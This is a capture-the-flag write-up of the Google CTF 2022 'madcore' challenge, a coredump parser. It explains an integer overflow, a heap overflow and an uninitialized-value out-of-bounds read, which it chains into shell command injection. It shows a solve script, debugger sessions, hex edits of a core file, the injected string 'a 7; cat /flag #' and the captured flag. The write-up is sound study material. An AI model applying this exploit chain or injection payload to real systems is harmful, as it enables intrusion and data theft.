madcore
was a pwn task from Google CTF 2022. It is a coredump helper
that parses the input as coredump file and produces some results.
We are provided with few files:
Dockerfile
flag
ld-linux-x86-64.so.2
libc.so.6
libstdc++.so.6
madcore
nsjail.cfg
download: madcore.zip
madcore
interface is simple. Just write bytes to it and it will count them until enough bytes is sent.
➜ madcore git:(main) ✗ ./madcore
abcd # input bytes
Read 5 # counts bytes
so, I think it's time to prepare a coredump file to send.
A core dump is a file containing a process's address space (memory) when the process terminates unexpectedly. Core dumps may be produced on-demand (such as by a debugger), or automatically upon termination. Core dumps are triggered by the kernel in response to program crashes, and may be passed to a helper program (such as systemd-coredump) for further processing - Arch Linux wiki
There is an interesting post covering coredump file structure here.
I've tried to generate a coredump file by simply causing SEGFAULT
in my C++ program:
➜ crash git:(main) ✗ ls
test.cpp
➜ crash git:(main) ✗ ccat test.cpp
0001: #include <iostream>
0002: using namespace std;
0003: int main(){
0004: int arr[2];
0005: arr[3] = 10;
0006: return 0;
0007: }
0008:
➜ crash git:(main) ✗ g++ test.cpp -o test
➜ crash git:(main) ✗ ls
test test.cpp
➜ crash git:(main) ✗ ./test
*** stack smashing detected ***: terminated
[1] 13827 abort (core dumped) ./test
➜ crash git:(main) ✗ ls
test test.cpp
but no coredump file is there...
There were two reasons why my coredump file was not generated:
- core dump size limit
- core_pattern
➜ crash git:(main) ✗ sudo sysctl -w kernel.core_pattern=core.%u.%p.%t # to enable core generation
kernel.core_pattern = core.%u.%p.%t
➜ crash git:(main) ✗ ulimit -c unlimited # set core dump size to unlimited
➜ crash git:(main) ✗ ./test
*** stack smashing detected ***: terminated
[1] 14162 abort (core dumped) ./test
➜ crash git:(main) ✗ ls
core.1001.14162.1657865437 test test.cpp
That way, I was able to generate valid coredump file to provide it to madcore
. The coredump file generated that way is quite big and working on it was
probably not the best way as I didn't fully understand the layout of it. I spent too much time looking for correct bytes to edit...
At first, I was sending the coredump file but the program wouldn't stop reading bytes...
I had to take a quick look at the decompiled code to see what is going on.
The reading is performed in main()
function, just at the beginning.
buffer = (uchar *)malloc(0x1000000);
memset(buffer,0,size);
temp_buffer = buffer;
length = 0;
while (size != 0) {
_length = read(0,temp_buffer,size);
length = (int)_length;
if (length < 1) break;
size = size - (long)length;
temp_buffer = temp_buffer + length;
printf("Read %d\n",length);
}
So, I have to send exactly 0x1000000
bytes. I prepared simple python script to do that easily.
size = 0x1000000
with open(args.CORE, "rb") as coredump:
data = bytearray(coredump.read())
data_len = len(data)
assert data_len < size
log.info(f"len: {data_len}")
io.send(data)
io.send(b"\x00"*(size-data_len))
io.recvuntil(b"FINISHED READING.\n", drop=True)
io.interactive()
And here is the result:
➜ writeup git:(main) ✗ ./solve.py CORE=crash/core.1001.14162.1657865437
[*] len: 507904
[*] Switching to interactive mode
{"backtrace":[[0,"<unknown>"],[2137,"??\n??:0:0\n\n"],[438894,"??\n??:0:0\n\n"],[438366,"??\n??:0:0\n\n"],[438540,"??\n??:0:0\n\n"],[438366,"??\n??:0:0\n\n"],[153840,"0x328\n"]],"modules":["/home/[REDACTED]/crash","/usr/lib/x86_64-linux-gnu/ld-2.31.so","/usr/lib/x86_64-linux-gnu/libc-2.31.so"]}
[*] Got EOF while reading in interactive
$
We can interact with the program, let's see what is happening inside!
The object Corefile
is initialized with buffer just after the reading it. Then, the Corefile::Process()
and Corefile::GetRegisters()
functions are called.
Corefile corefile = Corefile::Corefile(buffer, (long)temp_buffer - (long)buffer);
corefile.Process();
corefile.GetRegisters();
The Corefile::Corefile()
constructor initializes:
ELFBinary
object for bufferstd::vector
forBinary
pointersstd::vector
forRegisterSet
pointersELFBinary
object for all ELF files that is finds in the bufferstd::map<unsigned long, ELFBinary*>
- address of theELFBinary
in the buffer and address of the object
The Corefile::Process()
function:
- iterates over all
ELFBinary
objects - runs
Corefile::ProcessLOADs()
function
The Corefile::ProcessLOADs()
function iterates over process headers and initializes Binary
objects.
The Corefile::GetRegisters()
function iterates over all process_headers
and runs Corefile::ProcessNotes()
for specific headers
The Corefile::ProcessNotes()
function iterates over the process memory and looks for process notes.
Depending on the note type it runs different parser functions to handle them, including:
Corefile::ProcessSIGINFO()
Corefile::ParseNtFile()
Corefile::ParseAUXV()
- add
X86RegisterSet
to list of register sets of an object
void __thiscall Corefile::ParseNtFile(Corefile *this,elf64_note *note) {
/* variables */
puVar2 = (note + (*note + 3U & 0xfffffffc) + 0xc);
uVar1 = *(note + 4);
size = *puVar2;
buffer = malloc(size << 3);
index = 0;
local_20 = puVar2 + 2;
while( true ) {
if (size <= (ulong)(long)index) {
local_18 = ((ulong)uVar1 - 0x10) + size * -0x18;
local_10 = puVar2 + 2 + size * 3;
for (i = 0; (ulong)(long)i < size; i = i + 1) {
__s = strndup((char *)local_10,local_18);
sLength = strlen(__s);
local_10 = (ulong *)((long)local_10 + sLength + 1);
local_18 = (local_18 - sLength) - 1;
binary = (Binary *)GetBinaryContainingAddress(this,*(ulong *)((long)buffer + (long)i * 8));
if (binary != (Binary *)0x0) {
Binary::SetFileName(binary,__s);
}
}
return;
}
if ((ulong *)((long)puVar2 + ((ulong)uVar1 + 3 & 0xfffffffffffffffc)) <= local_20 + 3) break;
*(ulong *)((long)index * 8 + (long)buffer) = *local_20;
local_20 = local_20 + 3;
index = index + 1;
}
return;
}
Here, the initialization is done. After that, the program gets into loop that iterates over all threads:
while (threads = corefile.GetNumberOfThreads(), thread_num < threads) {
backtrace = corefile.GetBacktrace(thread_num);
registerSet = corefile.GetMappedRegisterSet(thread_num);
frameCount = backtrace.GetFrameCount();
endFrameCount = frameCount;
for (currFrameIdx = 0; currFrameIdx < endFrameCount; currFrameIdx = currFrameIdx + 1) {
callFrame.field0_0x0 = backtrace->frames[currFrameIdx].field0_0x0;
callFrame.field1_0x8 = backtrace->frames[currFrameIdx].field1_0x8;
callFrame.binary = backtrace->frames[currFrameIdx].binary;
threads = callFrame.GetSP();
binary = (Binary *)callFrame.GetBinary();
Symbolizer::Symbolizer(local_298,binary,threads);
Symbolizer::Symbolicate[abi:cxx11]();
mappedAddr = callFrame.GetMappedAddress();
/*
* push a result with address to std::vector, pseudocode:
*/
new_pair = std::make_pair<ulong, string>(mappedAddr, str);
std::vector::push_back(new_pair);
}
thread_num = thread_num + 1;
}
The Corefile::GetBacktrace()
function:
- initializes
StackWalker
object - runs
StackWalker::GetBacktrace()
function - runs
Backtrace::GetFrameCount()
function and logs theframeCount
Backtrace * __thiscall StackWalker::GetBacktrace(StackWalker *this, ulong address) {
/* variables */
backtrace = (Backtrace *)operator.new(0xc0);
Backtrace::Backtrace(backtrace, address);
binaryWithAddr = (Binary *)this->corefile.GetBinaryContainingAddress(address);
tempAddr = address;
if (binaryWithAddr != (Binary *)0x0) {
while (isContain = (bool)binaryWithAddr.ContainsVirtualAddress(tempAddr), isContain == true) {
vAddr = Binary::GetVirtualAddress(binaryWithAddr);
coreAddr = binaryWithAddr.GetCore();
addrInCore = *(coreAddr + (tempAddr - vAddr & 0xfffffffffffffff8));
binaryWithNewAddr = this->corefile.GetBinaryContainingAddress(addrInCore);
if ((binaryWithNewAddr != (Binary *)0x0) && binaryWithNewAddr.IsExecutable() == true)) {
backtrace.PushModule(binaryWithNewAddr, addrInCore, tempAddr - address);
}
tempAddr = tempAddr + 8;
}
}
return backtrace;
}
bool __thiscall Binary::IsExecutable(Binary *this) {
return (this->memoryProtections & 1) != 0;
}
void __thiscall Backtrace::Backtrace(Backtrace *this, ulong address) {
/* variables */
this->address = address;
std::optional<unsigned_int>::optional();
tmpThis = (CallFrame *)this;
for (offset = 6; tmpThis = (CallFrame *)(tmpThis + 0x18), -1 < offset; offset = offset + -1) {
CallFrame::CallFrame(tmpThis);
}
memset(this->frames, 0, 0xa8);
return;
}
void __thiscall Backtrace::PushModule(Backtrace *this, Binary *binary, ulong addrInCore, ulong offset) {
/* variables */
hasValue = this->frameCount.has_value();
if (hasValue != true) {
initValue = 1;
this->frameCount = initValue;
}
maxValue = 6;
if (this->frameCount <= maxValue) {
frameCount = this->frameCount.value();
newFrameCount = frameCount + 1;
this->frameCount = newFrameCount;
vAddr = binary.GetVirtualAddress();
currFrame = CallFrame::CallFrame(offset, addrInCore - vAddr, binary);
frameCount = *this->frameCount;
frameIdx = frameCount - 1;
this->frames[frameIdx].field0_0x0 = currFrame.field0_0x0;
this->frames[frameIdx].field1_0x8 = currFrame.field1_0x8;
this->frames[frameIdx].binary = currFrame.binary;
}
return;
}
uint __thiscall Backtrace::GetFrameCount(Backtrace *this) {
uint *frameCountPtr;
frameCountPtr = *this->frameCount;
return *frameCountPtr;
}
This is probably the most juicy part of the code because of that part:
length = snprintf((char *)0x0, 0, "%s --obj=%s %p", "llvm-symbolizer", binaryName, offset);
commandBuf = (char *)malloc((long)(length + 1));
binaryName = binary.GetFileName();
snprintf(commandBuf, length + 1, "%s --obj=%s %p", "llvm-symbolizer", binaryName, offset);
popen(commandBuf, "r");
The function inserts the binary name to the command and executes it. We will win if we make Binary::GetFileName()
return something like this:
a 0x1; cat /flag #
because the executed command will look like this:
$ llvm-symbolizer --obj=a 0x1; cat /flag # $offset
and the program is later returning to us the output of the function, so flag would be there!
It is indeed possible to simply overwrite the filename in the coredump file but this is unintended solution, so no fun. In order to proceed with the writeup we have to assume the program is validating the filename when parsing coredump file for example by checking if the file exists.
The Corefile::ParseNtFile()
function calls malloc(size << 3)
where size
is taken directly from coredump file.
The means we are able to cause Integer Overflow
here.
#include <utility>
#include <string>
#include <vector>
#include <iostream>
#include <optional>
using namespace std;
int main (int argc, char *argv[]) {
ulong test = 0x2000000000000000;
printf("0x%lx vs 0x%lx\n", test, test<<3);
return 0;
}
➜ tests git:(main) ✗ g++ int_overflow.cpp -std=c++17 -o int_overflow
➜ tests git:(main) ✗ ./int_overflow
0x2000000000000000 vs 0x0
considering the fact that allocated chunk is later used to copy data from coredump file into it and the size is used to determine
how much data to copy - we have Heap Overflow
here with ability to overwrite memory with whatever we want (buffer is under our control).
The function is not vulnerable by it's own. It is the design which can cause vulnerabilities wherever this function is used.
Backtrace::frameCount
is of type std::optional<unsigned int>
which means that the value can be uninitialized in some cases.
However, the function Backtrace::GetFrameCount()
doesn't check whether std::optional::has_value()
.
In that case, the caller would be responsible for checking if the value is initialized.
The frameCount
is fetched in three places:
Backtrace::PushModule()
hasValue = this->frameCount.has_value();
if (hasValue != true) {
initValue = 1;
this->frameCount = initValue;
}
the function correctly checks if the frameCount
is initialized with a value. Otherwise, it initializes the frameCount
with 1.
2. Corefile::GetBacktrace()
frameCount = Backtrace::GetFrameCount(backtrace);
clog(frameCount);
the function doesn't check if the frameCount
is initialized, nothing interesting as it just logs the value.
3. main()
frameCount = backtrace.GetFrameCount();
endFrameCount = frameCount;
for (currFrameIdx = 0; currFrameIdx < endFrameCount; currFrameIdx = currFrameIdx + 1) {
callFrame.field0_0x0 = backtrace->frames[currFrameIdx].field0_0x0;
callFrame.field1_0x8 = backtrace->frames[currFrameIdx].field1_0x8;
callFrame.binary = backtrace->frames[currFrameIdx].binary;
threads = callFrame.GetSP();
binary = (Binary *)callFrame.GetBinary();
Symbolizer::Symbolizer(local_298,binary,threads);
Symbolizer::Symbolicate[abi:cxx11]();
the function doesn't check if the frameCount
is initialized and gets into a loop where number of iterations is equal to frameCount
.
The for
loop iterates over Backtrace::frames
list of CallFrame
structures.
It then gets the binary address for CallFrame
structure and passes it to Symbolizer
.
Ther is only one puzzle missing. How the initialization of frameCount
is performed:
void __thiscall Backtrace::Backtrace(Backtrace *this, ulong address) {
/* variables */
this->address = address;
std::optional<unsigned_int>::optional(std::nullopt_t);
/* not important code */
}
if basically calls a std::optional<unsigned_int>
constructor with std::nullopt_t
without setting the value.
I decided to manually overwrite the memory before initialization of std::optional
and check what value will Backtrace::GetFrameCount()
return in main.
- Set the breakpoint to
Backtrace::Backtrace()
constructor
pwndbg> b Backtrace::Backtrace(unsigned long)
Breakpoint 5 at 0x71f8 (2 locations)
- Overwrite the memory
pwndbg> p/x $rdi # get address of Backtrace object
$1 = 0x562592378e00
pwndbg> set {long}(0x562592378e00+0x10)=0xdeadbeefcafebabe # overwrite the memory
- Compare memory before and after calling constructor
# step until std::optional constructor is called
pwndbg> x/10xg 0x562592378df0
0x562592378df0: 0x000000006f732e31 0x00000000000000d1 # beginning of Backtrace object
0x562592378e00: 0x00007ffc0b3e1d90 0x0000000000000000
0x562592378e10: 0xdeadbeefcafebabe 0x0000000000000000 # overwritten memory
# step out of the constructor
pwndbg> x/10xg 0x562592378df0
0x562592378df0: 0x000000006f732e31 0x00000000000000d1 # beginning of Backtrace object
0x562592378e00: 0x00007ffc0b3e1d90 0x0000000000000000
0x562592378e10: 0xdeadbe00cafebabe 0x0000000000000000 # overwritten memory
0x562592378e20: 0x0000000000000000 0x0000000000000000
0x562592378e30: 0x0000000000000000 0x0000000000000000
The bytes at offset 4 was set to 0x00
and nothing more. This is the byte used to determine if the std::optional
object has a value.
- We want to trick the program into executing command with malicious filename but we are not able to simply pass it from coredump file
- We have heap overflow in
Corefile::ParseNtFile()
- The
Backtrace::GetFrameCount()
can return uninitialized value and the loop in main relies on the value - The
Backtrace::PushModule()
function initializes the value offrameCount
- Abuse the heap overflow in order to overwrite the memory that will later be used for
std::optional
. - Initialize the
Backtrace
object - Avoid calling
Backtrace::PushModule()
fromStackWalker::GetBacktrace()
If we manage to execute those steps we will have control over the frameCount
. It is important to remember where it is used:
frameCount = backtrace.GetFrameCount();
endFrameCount = frameCount;
for (currFrameIdx = 0; currFrameIdx < endFrameCount; currFrameIdx = currFrameIdx + 1) {
callFrame.field0_0x0 = backtrace->frames[currFrameIdx].field0_0x0;
callFrame.field1_0x8 = backtrace->frames[currFrameIdx].field1_0x8;
callFrame.binary = backtrace->frames[currFrameIdx].binary;
threads = callFrame.GetSP();
binary = (Binary *)callFrame.GetBinary();
Symbolizer::Symbolizer(local_298,binary,threads);
Symbolizer::Symbolicate[abi:cxx11]();
class Binary {
uint64_t core;
uint64_t size;
char[64] fileName;
uint64_t virtualAddress;
uint64_t memoryProtections;
};
class CallFrame {
uint64_t field0;
uint64_t field1;
Binary* binaryAddr;
};
class Backtrace {
uint64_t address;
uint64_t field1;
std::optional<unsigned_int> frameCount;
CallFrame[6] callFrame;
};
If frameCount
will return value bigger than 6 we would have OOB read. We could abuse that to trick program into reading our fake CallFrame
object
that would have set binaryAddr
to fake Binary
object with malicious filename.
It's time to implement steps from idea in order to successfully exploit the vulnerabilities.
0x5647a04a5620: 0x0000000000000000 0x0000000000000101 ===> allocated buffer
0x5647a04a5630: 0x000055cf2f7b8000 0x000055cf2f7b9000
0x5647a04a5640: 0x000055cf2f7ba000 0x000055cf2f7bb000
0x5647a04a5650: 0x000055cf2f7bc000 0x00007efca3592000
0x5647a04a5660: 0x00007efca3595000 0x00007efca35a7000
0x5647a04a5670: 0x00007efca35ab000 0x00007efca35ac000
0x5647a04a5680: 0x00007efca35ad000 0x00007efca35ba000
0x5647a04a5690: 0x00007efca3661000 0x00007efca36fa000
0x5647a04a56a0: 0x00007efca36fb000 0x00007efca36fc000
0x5647a04a56b0: 0x00007efca371e000 0x00007efca3896000
0x5647a04a56c0: 0x00007efca38e4000 0x00007efca38e8000
0x5647a04a56d0: 0x00007efca38ee000 0x00007efca3984000
0x5647a04a56e0: 0x00007efca3a75000 0x00007efca3abe000
0x5647a04a56f0: 0x00007efca3abf000 0x00007efca3aca000
0x5647a04a5700: 0x00007efca3af4000 0x00007efca3af5000
0x5647a04a5710: 0x00007efca3b18000 0x00007efca3b21000
0x5647a04a5720: 0x00007efca3b22000 0x0000000000000051 ===> binary filename
0x5647a04a5730: 0x44442f656d6f682f 0x4444444444444444
0x5647a04a5740: 0x4444444444444444 0x4444444444444444
0x5647a04a5750: 0x4444444444444444 0x4444444444444444
0x5647a04a5760: 0x4444444444444444 0x68736172632f4444
.
.
.
0x5647a04a5dc0: 0x000000006f732e31 0x0000000000000031 ===> binary filename
0x5647a04a5dd0: 0x62696c2f7273752f 0x2d34365f3638782f
0x5647a04a5de0: 0x6e672d78756e696c 0x332e322d646c2f75
0x5647a04a5df0: 0x000000006f732e31 0x00000000000000d1 ===> Backtrace object
0x5647a04a5e00: 0x00007ffc0b3e1d90 0x0000000000000000
================================ std::optional<unsigned_int> initialized = 0x01 and value = 0x07
\/
0x5647a04a5e10: 0xafaa1a0100000007 0x0000000000000000
0x5647a04a5e20: 0x0000000000000000 0x0000000000000000
0x5647a04a5e30: 0x0000000000000118 0x0000000000000859
0x5647a04a5e40: 0x00005647a04a49a0 0x0000000000000248
0x5647a04a5e50: 0x000000000006b26e 0x00005647a04a49a0
0x5647a04a5e60: 0x00000000000002a8 0x000000000006b05e
0x5647a04a5e70: 0x00005647a04a49a0 0x00000000000002c8
0x5647a04a5e80: 0x000000000006b10c 0x00005647a04a49a0
0x5647a04a5e90: 0x00000000000002e8 0x000000000006b05e
0x5647a04a5ea0: 0x00005647a04a49a0 0x0000000000000328
0x5647a04a5eb0: 0x00000000000258f0 0x00005647a04a4c40
0x5647a04a5ec0: 0x0000000000000000 0x000000000000c141 ===> top chunk
the layout:
- our allocated chunk
- all binary filenames from
Corefile::ParseNtFile()
- Backtrace object we want to overwrite
however, the layout will be different if we pass huge size as this is the condition that has to be fulfilled in order to allocate all filename chunks:
if (size <= index)
so, if size will be huge, the Backtrace
chunk will land just after the allocated chunk. We just have to make sure the top chunk size bytes won't change because
otherwise next malloc()
call will crash. As I am not really familiar with coredump file structure, I added breakpoint in Corefile::ParseNtFile()
function
and looked for offset where the elf64_note
lies.
- the
RSI
register contained address that is placed at offset0xd68
of coredump file buffer. malloc()
was invoked with value0xf8
so the initial size is:0xf8 >> 3 = 0x1f
I opened the coredump file in nvim
using command: $ nvim -b core
and :%!xxd
inside nvim
to edit it in more human-friendly format.
It was quite easy to find the correct offset:
00000d60: 0000 0000 0000 0000 0500 0000 7108 0000 ............q...
============== size
\/
00000d70: 454c 4946 434f 5245 0000 0000 1f00 0000 ELIFCORE........
00000d80: 0000 0000 0010 0000 0000 0000 0080 7b2f ..............{/
and replace the value with 0x2000000000000020
.
To save the file in nvim
we have to execute :%!xxd -r
and :w
to write the file.
00000d60: 0000 0000 0000 0000 0500 0000 7108 0000 ............q...
===============================\
\___ ____ \ size
00000d70: 454c 4946 434f 5245 0000 0000 2000 0000 ELIFCORE.... ... / 0x2000000000000020
====================================================/
____ ___/
00000d80: 0000 0020 0010 0000 0000 0000 0080 7b2f ... ..........{/
and after running the program with a changed size:
➜ writeup git:(main) ✗ ./solve.py CORE=crash/core.1001.14162.1657865437
[*] len: 507904
[*] Switching to interactive mode
malloc(): corrupted top size
[*] Got EOF while reading in interactive
Last step here will be finding offset of the data that overwrites the top chunk size and replace it with value 0xc8d1
(the size after malloc()
is invoked in the Corefile::ParseNtFile()
).
I found it simply by:
- find address of top chunk after
malloc()
call inCorefile::ParseNtFile()
- check the value of that address after
Corefile::ParseNtFile()
function returns - find first occurence of that value in coredump file
probably this is not 100% working solution, but worked for me. The value will be after offset (0xd68
) at which the size was located.
And this is the result:
➜ writeup git:(main) ✗ ./solve.py CORE=crash/core.1001.14162.1657865437
[*] len: 507904
[*] Switching to interactive mode
{"backtrace":[[0,"<unknown>"],[2137,"0x118\n"],[438894,"0x248\n"],[438366,"0x2a8\n"],[438540,"0x2c8\n"],[438366,"0x2e8\n"],[153840,"0x328\n"]],"modules":[]}
[*] Got EOF while reading in interactive
Let's check the value of frameCount
before running Backtrace::PushModule()
:
- set breakpoint to
Backtrace::PushModule()
- Get the address from
RDI
register (address ofBacktrace
object) - print the value of
frameCount
:
pwndbg> x/xw $rdi+0x10 # value
0x5626f73fc750: 0x742f6572
pwndbg> x/xb $rdi+0x10+0x4 # has_value
0x5626f73fc754: 0x00
This step is easy as the Backtrace
is initialized unconditionally.
In order to avoid calling Backtrace::PushModule()
we need to analyze the code that runs it:
if ((binaryWithNewAddr != (Binary *)0x0) && binaryWithNewAddr.IsExecutable() == true)) {
backtrace.PushModule(binaryWithNewAddr, addrInCore, tempAddr - address);
}
We have to change memory protections of all binaries in coredump file to have lowest bit set to 0
and the condition will never be true
.
It was really easy to do in nvim
, just:
- open it in binary mode:
$ nvim -b core
- use
:%!xxd
to move to human-friendly format - select the memory at the beginning that contains all
elf64_phdr
entries - replace all
0500
characters with0400
::'<,'>s/0500 /0400 /g
and here is the result:
➜ writeup git:(main) ✗ ./solve.py CORE=crash/core.1001.14162.1657865437
[*] len: 507904
[*] Switching to interactive mode
LLVMSymbolizer: error reading file: No such file or directory
[*] Got EOF while reading in interactive
Let's check with gdb
what is going on inside
- Set breakpoint at
Backtrace::GetFrameCount()
to check the returned value:Backtrace::GetFrameCount()
returns0x742f6572
value - success - Set breakpoint to
Binary::GetFileName()
to check whichCallFrame
makes it toSymbolizer::Symbolicate()
It turns out that the Backtrace::frames
array is empty and the first non-empty element that is treated as CallFrame
element is inside
MappedRegisterSet
object allocated just after the Backtrace
object.
Lucky for us, we have almost full control over the content of that class. We cannot change the first qword of that class as this is vpointer
.
However, we can change every next byte of that class.
register values are stored at offset 0x70
and I think that data between vpointer
and registers
is either unused or just copies the memory from coredump file.
X86RegisterSet * __thiscall X86RegisterSet::GetRegisters(X86RegisterSet *this) {
return this + 0x70;
}
Due to popen()
call inside the program, it was hard to debug what happens after first Symbolizer::Symbolicate()
run. Here, the coredump files come to the rescue!
➜ writeup git:(main) ✗ ./solve.py CORE=crash/core.1001.14162.1657865437
[*] len: 507904
[*] Switching to interactive mode
LLVMSymbolizer: error reading file: No such file or directory
[*] Got EOF while reading in interactive
$
➜ writeup git:(main) ✗ ls | grep core
core.1001.182319.1658134823
madcore
➜ writeup git:(main) ✗ gdb -c core.1001.182319.1658134823 madcore
pwndbg> info registers
rax 0x57e 1406
rbx 0x73 115
rcx 0x1 1
rdx 0x2d6362696c2f757e 3270565959327249790
rsi 0x7f41254479ab 139917774846379
rdi 0x2d6362696c2f757e 3270565959327249790
rbp 0x7ffcc8bd0040 0x7ffcc8bd0040
rsp 0x7ffcc8bcfad8 0x7ffcc8bcfad8
r8 0x7f412556f040 139917776056384
r9 0x7f412556f0c0 139917776056512
r10 0x7f412556efc0 139917776056256
r11 0x0 0
r12 0x16 22
r13 0x2d6362696c2f757e 3270565959327249790
r14 0x0 0
r15 0x7ffcc8bd01c0 140723676316096
rip 0x7f412553cd99 0x7f412553cd99
eflags 0x10283 [ CF SF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
pwndbg> x/10i $pc
=> 0x7f412553cd99: vpcmpeqb ymm1,ymm0,YMMWORD PTR [rdi]
0x7f412553cd9d: vpmovmskb eax,ymm1
0x7f412553cda1: test eax,eax
0x7f412553cda3: je 0x7f412553ce00
0x7f412553cda5: tzcnt eax,eax
0x7f412553cda9: vzeroupper
0x7f412553cdac: ret
0x7f412553cdad: nop DWORD PTR [rax]
0x7f412553cdb0: tzcnt eax,eax
0x7f412553cdb4: sub edi,edx
The failing instruction is inside sprintf()
call.
It comes out the value under RDI
register is the value from next fake CallFrame
after vpointer
plus 0x10
(offset at which the Binary::fileName
should be).
Conclusion: Memory layout we want to prepare needs to contain only valid addresses at offsets representing CallFrame::binaryAddr
- but... how to do that without leaks?
Here, the functionality of madcore
comes to the rescue:
if (binaryPtr != (Binary *)0x0) {
mappedRegisterSet.GetRAX();
core = binaryPtr->GetCore();
raxPtr = mappedRegisterSet.GetRAX();
rax = *raxPtr;
vaddr = binaryPtr->GetVirtualAddress();
mappedRegisterSet.GetRAX();
*raxPtr = core + (rax - vaddr);
mappedRegisterSet.GetRAX();
vaddr = binaryPtr->GetVirtualAddress();
}
this code basically translates address from coredump to address of chunk allocated for coredump buffer during madcore
program execution, meaning that the program will
make the address valid for us. This is what we have to do now:
- Clean the memory to have
0x00
at offsets corresponding toCallFrame::binaryAddr
The code that can help with finding them is:
*(index * 8 + buffer) = *memoryPtr;
memoryPtr = memoryPtr + 3; // here it's memoryPtr + 0x18 but memoryPtr is of type ulong*
index = index + 1;
because the offset between next values to zero-out is 0x18 * 0x3 = 0x48
2. Find register which is placed at the correct offset and set it's value to valid address from coredump perspective that will be then translated to valid address.
In my case it was R14
which was at offset 0x8
(so registers[1]
). It was pointing at offset 0x40000
:
0x55c516ae1800: 0x696c2f756e672d78 0x0000000000000121 ===> MappedRegisterSet
0x55c516ae1810: 0x000055c516073ac8 0x00007fe9b008f994
0x55c516ae1820: 0x0000000000000150 0x0000000000000000
0x55c516ae1830: 0x2d34365f3638782f 0x2f006f732e31332e
0x55c516ae1840: 0x0000000000000000 0x782f62696c2f7273
0x55c516ae1850: 0x332e322d6362696c 0x0000000000000000
0x55c516ae1860: 0x7273752f006f732e 0x696c2f756e672d78
0x55c516ae1870: 0x0000000000000000 0x7362696c2f756e67
0x55c516ae1880: 0x0000000000000001 0x00007fe9b00cf010 ===> registers[0] registers[1] <=== R14 with valid address
0x55c516ae1890: 0x0000000000000020 0x00007fe9b00f2020
0x55c516ae18a0: 0x00007fe9b00f2120 0x00007fe9b00b7f50
0x55c516ae18b0: 0x0000000000000146 0x0000000000000008
0x55c516ae18c0: 0x00007fe9b00f1da0 0x0000000000000000
0x55c516ae18d0: 0x0000000000000000 0x00007fe9b00e101b
0x55c516ae18e0: 0x0000000000000000 0x00007fe9b00f1da0
0x55c516ae18f0: 0x0000000000000002 0x000000000000000e
0x55c516ae1900: 0x00007efca373f00b 0x0000000000000033
0x55c516ae1910: 0x0000000000000246 0x00007fe9b00f1da0
0x55c516ae1920: 0x000000000000002b 0x0000000000000031
pwndbg> vmmap 0x00007fe9b00cf010
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7fe9b008f000 0x7fe9b1094000 rw-p 1005000 0 [anon_7fe9b008f] +0x40010 <=== offset is reduced by 0x10 == 0x40000
- Overwrite the memory at offset+0x10 to the malicious
Binary::fileName
00040000: 902b aca3 fc7e 0000 b0c4 9ba3 fc7e 0000 .+...~.......~..
00040010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00040020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00040030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00040040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
- Replace
A
characters with malicious command insolve.py
to_replace = b"A"*64
lngth = len(to_replace)
payload = b"a 7; cat /flag #"
payload = payload.ljust(lngth, b"a")
data = data.replace(to_replace, payload)
- Fix last bug:
As the
frameCount
is huge, the loop executingSymbolizer::Symbolicate()
won't stop after our fakeCallFrame
but will go further. This will end withSEGFAULT
or other errors and as a result the JSON with outputs won't be printed and we won't see the output of command. In order to fix that I specified theframeCount
value that will cause the loop to finish just after fakeCallFrame
. This is fairly easy, as we know the current value (0x742f6572
) and we know it is0x18 * 0x3 = 0x48
after the top chunk size we already written into our coredump file. The valueframeCount == 0xd
returned following result:
➜ writeup git:(main) ✗ ./solve.py CORE=crash/core.1001.14162.1657865437
[*] len: 507904
[*] Switching to interactive mode
LLVMSymbolizer: error reading file: No such file or directory
LLVMSymbolizer: error reading file: No such file or directory
{"backtrace":[[0,"<unknown>"],[0,"<unknown>"],[0,"<unknown>"],[0,"<unknown>"],[0,"<unknown>"],[0,"<unknown>"],[0,"<unknown>"],[289,"??\n??:0:0\n\n"],[336,"<unknown>"],[3386829460269511470,"<unknown>"],[3687940315385325932,"<unknown>"],[7596498852877118840,"<unknown>"],[1,"??\n??:0:0\n\nCTF{TEST_FLAG}\n"]],"modules":[]}
[*] Got EOF while reading in interactive
$
and on remote:
➜ writeup git:(main) ✗ ./solve.py CORE=crash/core.1001.14162.1657865437 REMOTE
[+] Opening connection to madcore.2022.ctfcompetition.com on port 1337: Done
[*] len: 507904
[*] Switching to interactive mode
{"backtrace":[[0,"<unknown>"],[0,"<unknown>"],[0,"<unknown>"],[0,"<unknown>"],[0,"<unknown>"],[0,"<unknown>"],[0,"<unknown>"],[289,""],[336,"<unknown>"],[3386829460269511470,"<unknown>"],[3687940315385325932,"<unknown>"],[7596498852877118840,"<unknown>"],[1,"CTF{w4y_cpp_g0tta_be_like_that_can_we_get_a_good_STLPLS}\n"]],"modules":[]}
[*] Got EOF while reading in interactive
$